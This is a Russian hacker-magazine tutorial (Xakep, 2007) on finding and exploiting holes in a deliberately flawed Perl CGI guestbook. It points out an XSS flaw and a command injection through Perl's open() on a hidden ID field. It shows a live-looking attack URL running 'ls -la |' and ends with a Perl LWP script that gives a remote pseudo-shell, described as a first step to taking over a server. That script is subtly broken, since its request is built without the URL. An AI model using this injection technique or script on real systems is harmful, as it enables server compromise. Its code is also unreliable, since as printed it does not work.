Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #75, ФЕВРАЛЬ 2007 г.

перл на игле

INSIDER (BRAIN_INSIDER@MAIL.RU)

Хакер, номер #075, стр. 066


ПРАКТИЧЕСКИЙ КУРС ПО НАПИСАНИЮ ЭКСПЛОЙТА

В ДАННОЙ СТАТЬЕ МЫ РАССМОТРИМ ПРОЦЕСС НАПИСАНИЯ ЭКСПЛОЙТА НА ПРИМЕРЕ ДЫРЯВОГО CGI-СКРИПТА ГОСТЕВОЙ КНИГИ, КОТОРЫЙ БЫ СДЕЛАЛ ЧЕСТЬ ЛЮБОМУ МУЗЕЮ ПРОГРАММНЫХ УРОДЦЕВ. В ЭТОМ СКРИПТЕ СОБРАНЫ ВОЕДИНО САМЫЕ КОШМАРНЫЕ ОШИБКИ, КОТОРЫЕ МОЖЕТ СОВЕРШИТЬ НАЧИНАЮЩИЙ WEB-ПРОГРАММИСТ ПРИ НАПИСАНИИ CGI-СКРИПТА (С САМИМ СКРИПТОМ ТЫ СМОЖЕШЬ ОЗНАКОМИТЬСЯ НА ПРИЛАГАЮЩЕМСЯ К ЖУРНАЛУ ДИСКЕ)

Кстати, не надо думать, что найти подобный образчик невежества на просторах Сети тяжело. Вовсе нет, ибо даже в коде опытных программистов после пары бессонных ночей и десятка кружек кофе начинают проскакивать нефильтруемые поля или еще какие-нибудь признаки крайнего переутомления :). Так что, всегда есть смысл внимательно приглядеться к изнанке...

Итак, наша цель - выявить основные уязвимости и написать эксплойт (ищи уязвимый cgi на диске). Приступим.

Для начала определимся, с чем мы имеем дело. Куча записей без какого-либо оформления и одна форма с двумя текстовыми полями и кнопкой - не густо. Однако мой богатый жизненный опыт подсказывает, что даже такого малого количества потенциально уязвимых мест бывает достаточно для наличия критической ошибки. Свинья грязь найдет :). Сомнительно, чтобы столь примитивная конструкция работала на основе СУБД, вероятно, мы имеем дело с типичной файловой гестбукой, которую за пару дней по учебнику слепил «молодой специалист». Фактически, все, что мы можем сделать при исследовании веб-интерфейса – определить, какие параметры доступны для изменения, фильтруются ли они (если да, то как), их содержимое, и насколько хорошо в скрипте организована обработка исключительных ситуаций (передача нестандартных параметров или параметров необычной длины, изменение HTTP-метода с POST на GET и обратно и так далее). Поэтому в начале исследования стоит проверить, фильтруется ли текст, вводимый пользователями в текстовое поле. Для этого мы забабахаем туда какой-нибудь HTML-код (например, <a href="www.xakep.ru">Тыц</a> - не принципиально) и посмотрим на результат. Опубликовав сообщение, мы увидим оформленную ссылку. Значит, подстановка текста происходит без проверки, в момент формирования шаблона страницы, и мы по своему разумению можем кроить страницу, встраивая зловредные скрипты, которые будут выполнены на стороне других пользователей - XSS! Присутствие такой дыры очень радует (о том, как ее использовать - читай весь этот номер), но она не дает нам никакого простора для практики в написании эксплойтов, поэтому смотрим, что у нас есть еще. Слегка повеселев и расслабившись, обратимся к HTML-коду нашей многострадальной гостевой книги.

Листинг1

Как мы видим, в html-коде каждого сообщения есть какие-то мутные поля <INPUT TYPE="HIDDEN" NAME="ID" VALUE="1167069479"> и точно такое же поле есть в форме отправки сообщения. Обновив несколько раз страницу, мы заметим, что число в параметре ID каждый раз возрастает. Я думаю, по виду этих странных ID уже понятно, что это такое, но не будем забегать вперед и попробуем отправить свое сообщение. Пишем трогательное послание «фсем в этом чати» и радостно жмем на «Отправить». После обновления на странице появилась наша запись, значение скрытого поля которой стало равно 1167069479, то есть тому значению, которое изначально было в форме отправки сообщения, а в самой форме на месте этого числа появилось число 1167070058. Не буду тянуть резину, все и так уже догадались, что это число - время с момента начала эпохи в секундах - системное время Unix. Итак, время загрузки формы связывается с самой записью. Зачем это может быть сделано? Вероятно, наша гостевуха скроена из файлов, и таким образом горе-программер обеспечивает уникальность имени файла для каждой записи (вообще говоря, файлы тут вовсе не обязательны, но мы уже решили, что с большой вероятностью имеем дело именно с ними). Зачем же нужно было передавать этот параметр в форму? Ну, скорее всего, это сделано для каких-то административных целей, возможно, для злобного модерирования. Однако оставим за кадром попытки разгадать тайну мышления программиста, написавшего нашу гестбуку, и попробуем подумать, что мы можем сделать с этим параметром? А сделать мы с ним можем всякое. Например, если параметр передается в имя файла без фильтрации, либо если фильтрация выполнена криво, то это будет означать, что мы имеем все возможности для выполнения любых команд в shell'е с правами веб-сервера. Здесь нужно сделать ма-а-аленькое лирическое отступление. Стандартная процедура open() в Perl может принимать не только имена файлов в виде строк, но и произвольные команды. Это очень удобно, если требуется выполнить внешнюю программу и получить ее вывод. Однако эта возможность таит в себе нехилую дыру. Что бы посмотреть, как это работает, предлагаю сделать следующее:

>perl -d -e 0

>open FF, 'ls -l |';

>print <FF>;

Поясню. Первой строчкой мы запускаем отладчик в минимальном режиме (в качестве отлаживаемого кода у нас минимально-допустимая строка - "0"), после чего в контексте отладчика выполняем пробный код (отладчик - это очень удобный способ быстрой проверки безумных идей).

[результаты выполнения команд в контексте отладчика.]

Думаю, полученные результаты в комментариях не нуждаются. Грубо, не вдаваясь в подробности: мы выполняем внешнюю программу и создаем pipe с выходом на файловый дескриптор. Принципиально все несколько иначе, но нас это сейчас не волнует.

Итак. Попробуем проверить, фильтруется ли интересующее нас поле и не ошиблись ли мы, предположив, что оно имеет отношение к имени файла, в котором хранится запись. Составим такой запрос: http://dm9.ru/cgi-bin/perltest/script.cgi?Send=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C&text=1&name=1&ID=ls%20-la%20|.

[параметр не фильтруется]

Как мы видим на рисунке 2, параметр не фильтруется и праздник продолжается. Такой безалаберный подход к внешним данным дает нам карт-бланш на выполнение команд на стороне сервера. Собственно, вот мы и подошли к самому интересному. Каждый раз формировать запрос вручную - не наш метод, и мы намереваемся этот процесс как-то автоматизировать. Точнее, не просто автоматизировать, но и выложить эксплойт в сеть на случай, если наш зло-программер захочет сделать продукт своего творчества общедоступным. Таким образом, мы завоюем почет и уважение среди секьюрити-тусовки (сомнительно, честно говоря :)). Итак. Наш эксплойт будет принимать в качестве параметра URL дырявой гестбуки и выводить шеллоподобное приглашение для ввода команд, выводя результат на наш терминал. Таким образом, мы создадим полную иллюзию работы с шеллом. Однако стоит помнить, что наши похождения будут видны всем посетителям сайта, ибо мы, фактически, оставляем в качестве лога запись в книге на каждое свое действие, так что наш импровизированный шел надо использовать быстро и только как первую ступень на пути к контролю над системой. Чтобы реализовать эдакий шлюз между нами и сервером, нам понадобится библиотека LWP для формирования запросов и разбора ответов (более подробную информацию об этой и других библиотеках смотри в этом же номере). Краткий код простого эксплойта приведен в листинге 2. Код очень несложный и комментировать там, опять же, нечего. Создаем объект запроса, подставляя туда считанную с ввода команду, получаем ответ и выводим его на терминал. Всего-то! Я думаю, фильтрацию вывода для отсечения HTML и контроль ввода каждый сможет добавить сам. Мы написали простой эксплойт, который дает нам возможность выполнять произвольные команды на стороне сервера.

Листинг2

Рассмотренный нами пример сознательно упрощен. Но было бы ошибкой думать, что такого рода просчеты не встречаются в реальности. Встречаются, и еще как! Конечно, в не столь рафинированном виде, и, безусловно, придется попотеть, чтобы найти уязвимость в большом, профессиональном проекте, - но на то нам и дана голова. В этой же статье я рассмотрел сам процесс написания эксплойта - основные стадии работы над уязвимостью, в которые необходимо вникнуть, чтобы создание эксплойтов перестало ассоциироваться с какими-то недостижимыми вершинами мастерства. Какой вывод можно сделать из всего этого безобразия? Даже самая маленькая небрежность во второстепенном коде может пустить коту под хвост безопасность всей системы. Ошибки есть в любом коде, нужно только уметь их искать.

Листинг1

<html>

<body>

<TABLE ALIGN="CENTER">

<TR><TD>Date: Mon Dec 25 17:55:37 UTC 2006

</TD></TR><TR><TD>Name:

</TD></TR><TR><TD><PRE>Админ

У нас появилась Мега-гестбука! </PRE></TD></TR><INPUT TYPE="HIDDEN" NAME="ID" VALUE="1167068903

"> </TABLE><BR> <TABLE ALIGN="CENTER">

[...SKIPPED...]

<BR> <FORM ACTION="/cgi-bin/guest/script.cgi" METHOD="POST">

Name: <INPUT TYPE="TEXT" NAME="name"><BR><BR>

Введите свое сообщение:<BR> <TEXTAREA NAME="text" ROWS="15" COLS="50" WRAP="PHYSICAL">

<INPUT TYPE="SUBMIT" VALUE="Отправить" NAME="Send">

<INPUT TYPE="HIDDEN" NAME="ID" VALUE="1167069479"> </FORM>

</body>

</html>

Листинг2

#!/usr/bin/perl -w

use strict;

use LWP::UserAgent;

my $obj = LWP::UserAgent->new();

my $req = "";

my $url = shift;

while(1)

{

my $comm = "";

print '> ';

$comm = <STDIN>;

chomp($comm);

my $query = $url.'?Send=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C&text=1&name=1&ID='.$comm;

print "\n".$query."\n";

$req = HTTP::Request->new(POST => );

my $result = $obj->request($req);

if($result->is_success)

{

print "ok!\n";

print $result->content;

}

}

1;

Содержание